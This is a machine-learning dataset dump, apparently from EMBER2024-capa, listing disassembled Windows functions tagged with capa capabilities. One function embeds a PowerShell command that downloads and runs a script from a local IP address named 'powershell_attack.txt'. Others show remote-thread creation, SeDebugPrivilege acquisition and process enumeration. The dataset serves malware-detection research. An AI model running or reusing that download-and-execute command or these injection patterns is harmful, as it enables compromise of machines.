joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46f750
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00523ab0]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x46f770
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.0046f630
test eax, eax
je 0x46f768
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x46f7cd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x46f7c4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x46f768
add rdx, 0x28
cmp rdx, r9
jne 0x46f7b0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x4767f0
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x476845
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x476830
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x4768c0
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
cmovl r12d, edx
mov r8d, 1
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
mov dword [rbx + 0xc], eax
add r12d, 1
call fcn.004760b0
mov ecx, dword [rbx + 8]
mov eax, dword [rbx + 0x2c]
mov rdx, rbx
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call fcn.00475c60
add dword [rbx + 0xc], r12d
mov rdx, rbx
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.00476520
mov eax, dword [0x00513180]
cmp eax, 0xffffffff
je 0x4768ec
test eax, eax
je 0x4768dc
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x47684d
call fcn.0047b760
test al, 1
mov edx, 3
jne 0x4768cf
jmp 0x4768d4
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sub.msvcrt.dll_getenv
test rax, rax
je 0x476914
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
setbe al
movzx eax, al
mov dword [0x00513180], eax
jmp 0x4768cb
xor eax, eax
jmp 0x476909

Function at 0x47d340
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x00513228], eax
je 0x47d35a
add rsp, 0x28
ret
call sub.msvcrt.dll_abort
nop

Function at 0x47d790
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x47d7b3
call fcn.0047d110
cmp eax, 1
je 0x47d7be
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
mov ecx, 0xa
lea rbx, [rsp + 0x20]
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x47d847
mov eax, 0x28
jmp 0x47d81a
add rax, 1
cmp rax, 0x6b
je 0x47d839
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x47d810
cmp eax, 0x6a
je 0x47d839
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
jmp 0x47d827
Function at 0x47d8e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x0054e030], 1
je 0x47d8f6
call fcn.0047d850
mov ecx, dword [0x00513228]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x47d920
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.0047d6d0
cmp qword [0x00552050], 0
mov rsi, rax
je 0x47d90a
test rax, rax
je 0x47d90a
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rcx, [rsi + 0x68]
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], 0xffffffffffffffff
call fcn.0047d790
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov dword [rsp + 0x20], 0
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x47da09
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
mov rdx, rsi
mov dword [rsi + 0xbc], 0
mov ecx, dword [0x00513228]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x47da09
mov rbx, rsi
jmp 0x47d90a
call sub.msvcrt.dll_abort
nop
nop
Function at 0x490730
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rdx, qword [rcx + 0x20]
movabs rsi, 0x100002600
mov rbx, rcx
movzx r8d, byte [rdx]
nop dword [rax + rax]
cmp r8b, 0x20
jbe 0x490760
add rsp, 0x28
pop rbx
pop rsi
ret
bt rsi, r8
jae 0x490756
cmp qword [rbx + 0x18], rdx
ja 0x4907c1
cmp byte [rbx + 0x38], 0
jne 0x490750
mov rax, qword [rbx + 0x28]
add qword [rbx + 0x30], rax
mov edx, 1
mov rcx, qword [rbx + 8]
mov r9, qword [rbx]
mov r8, qword [rbx + 0x10]
call sub.msvcrt.dll_fread
mov rdx, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
mov qword [rbx + 0x28], rax
lea rcx, [rdx + rax - 1]
mov qword [rbx + 0x20], rdx
mov qword [rbx + 0x18], rcx
jae 0x4907bb
mov byte [rdx + rax], 0
add qword [rbx + 0x18], 1
mov rdx, qword [rbx + 0x20]
mov byte [rbx + 0x38], 1
movzx r8d, byte [rdx]
jmp 0x490750
lea r9, [rdx + 1]
mov qword [rbx + 0x20], r9
movzx r8d, byte [rdx + 1]
mov rdx, r9
jmp 0x490750
Function at 0x14001112c
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001ee70
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
lea rcx, [0x14003b026]
call fcn.1400111c2
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001eede
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001efea
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001ef83
cmp qword [rbp + 0x28], 0
jle 0x14001ef83
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001ef23
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011668
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001efd9
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001efd9
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400111ea
Capabilities:
Terminate process

Disassembly:
jmp 0x140022d90
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001122b
Capabilities:
Create thread

Disassembly:
jmp 0x14001d890
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x6e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
lea rcx, [0x14003b036]
call fcn.1400111c2
mov rcx, qword [rbp + 0x190]
call fcn.1400112c6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rcx, qword [rbp + 0x1a0]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x1a0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdx, rax
mov rcx, qword [rbp + 0x198]
call fcn.14001169a
mov rcx, rax
call fcn.1400112c6
cmp qword [rax], 0
jne 0x14001d97f
lea rdx, str.CreateRemoteThread
lea rcx, [rbp + 0x138]
call fcn.14001113b
nop
mov eax, dword [0x14003301c]
add eax, 2
mov r8d, eax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xd0]
call fcn.1400114f1
lea rdx, [0x140031f20]
lea rcx, [rbp + 0xd0]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x138]
call fcn.1400118bb
nop
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140011447
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x14001a780
mov byte [rsp + 8], cl
push rbp
push rsi
push rdi
sub rsp, 0x460
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x118
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
movzx ecx, byte [rsp + 0x488]
mov rax, qword [0x140033038]
xor rax, rbp
mov qword [rbp + 0x420], rax
lea rcx, [0x14003b036]
call fcn.1400111c2
mov edx, 8
lea rcx, [rbp + 0x38]
call fcn.140011910
lea rcx, [rbp + 0x38]
call fcn.14001105f
nop
mov dword [rbp + 0x54], 0x10
lea rcx, [rbp + 0x38]
call fcn.1400112c6
mov qword [rbp + 0x418], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rbp + 0x418]
mov r8, rcx
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14001a877
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
je 0x14001a877
lea rdx, str.OpenProcessToken
lea rcx, [rbp + 0x288]
call fcn.14001113b
nop
mov eax, dword [0x140033008]
add eax, 8
mov r8d, eax
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x220]
call fcn.1400114f1
lea rdx, [0x140031f20]
lea rcx, [rbp + 0x220]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x288]
call fcn.1400118bb
nop
movzx eax, byte [rbp + 0x450]
test eax, eax
je 0x14001a92e
lea r8, [rbp + 0x78]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14001a8f1
lea rdx, str.LookupPrivilegeValue
lea rcx, [rbp + 0x338]
call fcn.14001113b
nop
mov eax, dword [0x140033008]
add eax, 0xd
mov r8d, eax
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x2d0]
call fcn.1400114f1
lea rdx, [0x140031f20]
lea rcx, [rbp + 0x2d0]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x338]
call fcn.1400118bb
nop
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14001165e
mov dword [rbp + 8], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0x78]
mov qword [rbp + rax + 0xc], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x14], 2
jmp 0x14001a957
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14001165e
lea rax, [rbp + 8]
lea rcx, [0x140033628]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.1400112c6
lea rcx, [rbp + 0x54]
mov qword [rsp + 0x28], rcx
lea rcx, [0x140033628]
mov qword [rsp + 0x20], rcx
mov r9d, 0x10
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14001a9e2
lea rdx, str.AdjustTokenPrivileges
lea rcx, [rbp + 0x3e8]
call fcn.14001113b
nop
mov eax, dword [0x140033008]
add eax, 0x1b
mov r8d, eax
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x380]
call fcn.1400114f1
lea rdx, [0x140031f20]
lea rcx, [rbp + 0x380]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x3e8]
call fcn.1400118bb
nop
lea rcx, [rbp + 0x38]
call fcn.140011ab9
lea rcx, [rbp - 0x30]
lea rdx, [0x14002b540]
call fcn.140011a41
mov rcx, qword [rbp + 0x420]
xor rcx, rbp
call fcn.14001129e
lea rsp, [rbp + 0x430]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001166d
Capabilities:
Enumerate processes

Disassembly:
jmp 0x14001b890
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1a2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6a8]
mov rax, qword [0x140033038]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x14003b036]
call fcn.1400111c2
mov dword [rbp + 0x264], 0
mov edx, 8
lea rcx, [rbp + 0x288]
call fcn.140011910
lea rcx, [rbp + 0x288]
call fcn.14001105f
nop
xor edx, edx
mov ecx, 0x12
call fcn.140011717
mov rdx, rax
lea rcx, [rbp + 0x288]
call fcn.14001169a
mov rcx, rax
call fcn.1400112c6
cmp qword [rax], 0xffffffffffffffff
jne 0x14001b97c
lea rdx, str.CreateToolhelp32Snapshot
lea rcx, [rbp + 0x558]
call fcn.14001113b
nop
mov eax, dword [0x14003300c]
add eax, 6
mov r8d, eax
lea rdx, [rbp + 0x558]
lea rcx, [rbp + 0x4f0]
call fcn.1400114f1
lea rdx, [0x140031f20]
lea rcx, [rbp + 0x4f0]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x558]
call fcn.1400118bb
nop
mov dword [rbp + 0x10], 0x238
lea rcx, [rbp + 0x288]
call fcn.1400112c6
lea rdx, [rbp + 0x10]
mov rcx, qword [rax]
call fcn.140011654
test eax, eax
jne 0x14001b9f3
lea rdx, str.Process32First
lea rcx, [rbp + 0x608]
call fcn.14001113b
nop
mov eax, dword [0x14003300c]
add eax, 0xb
mov r8d, eax
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0x5a0]
call fcn.1400114f1
lea rdx, [0x140031f20]
lea rcx, [rbp + 0x5a0]
call fcn.1400116e5
nop
lea rcx, [rbp + 0x608]
call fcn.1400118bb
nop
lea rdx, [rbp + 0x3c]
mov rcx, qword [rbp + 0x680]
call fcn.1400116db
test eax, eax
jne 0x14001ba12
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x264], eax
jmp 0x14001ba2e
lea rcx, [rbp + 0x288]
call fcn.1400112c6
lea rdx, [rbp + 0x10]
mov rcx, qword [rax]
call fcn.14001120d
test eax, eax
jne 0x14001b9f3
mov eax, dword [rbp + 0x264]
mov dword [rbp + 0x644], eax
lea rcx, [rbp + 0x288]
call fcn.140011ab9
mov eax, dword [rbp + 0x644]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002b720]
call fcn.140011a41
mov rax, rdi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.14001129e
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret
Function at 0x1400116a4
Capabilities:
Write file on windows

Disassembly:
jmp 0x140018e00
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x140033038]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x14003b026]
call fcn.1400111c2
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x140018e64
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140018e6b
mov al, 1
jmp 0x140018fc5
call fcn.140011915
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
mov qword [rbp + 0x198], rcx
mov edx, eax
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x198]
call qword [rax + 0x18]
mov dword [rbp + 0x164], eax
call fcn.140011915
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.14001106e
movzx eax, al
test eax, eax
je 0x140018ec6
xor al, al
jmp 0x140018fc5
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
je 0x140018f2b
cmp dword [rbp + 0x194], 1
je 0x140018f36
cmp dword [rbp + 0x194], 3
je 0x140018fb4
jmp 0x140018fc3
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140018f86
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140018f86
xor al, al
jmp 0x140018fc5
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140018fa1
mov dword [rbp + 0x194], 1
jmp 0x140018fab
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x140018fc5
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140018fc5
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002bf00]
call fcn.140011a41
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.14001129e
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140011906
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400238c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400238e0
xor al, al
jmp 0x140023961
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400238f3
xor al, al
jmp 0x140023961
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002391d
xor al, al
jmp 0x140023961
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140023931
xor al, al
jmp 0x140023961
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140023943
xor al, al
jmp 0x140023961
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002395f
xor al, al
jmp 0x140023961
mov al, 1
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004460]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x140004410]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004450]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rax, str.powershell.exe__IEX___new_object_net.webclient_.downloadstring_http:__192.168.1.53_powershell_attack.txt____
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140008b80
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x490], rbx
mov rax, qword [0x140083010]
xor rax, rbp
mov qword [rbp + 0x440], rax
mov rdi, rdx
mov dword [rbp], 0x438
mov edx, dword [rcx + 0x10]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
lea rcx, [rbp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140008bf0
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x140008c6a
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x140008c1b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140065fe0
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x140008c6a
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x30]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x140008c6d
mov rbx, r14
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x140008c7a
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140008c92
inc rbx
test eax, eax
jne 0x140008c80
test ecx, ecx
mov rcx, rsi
je 0x140008cf2
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140008be1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140008cee
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140008ce9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008d69
mov rcx, r8
call fcn.1400653d4
xor eax, eax
jmp 0x140008d35
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov rbx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140008d32
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140008d2d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008d69
mov rcx, r8
call fcn.1400653d4
mov rax, rbx
mov byte [rdi], r14b
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x440]
xor rcx, rbp
call fcn.140064dc0
mov rbx, qword [rbp + 0x490]
lea rsp, [rbp + 0x450]
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3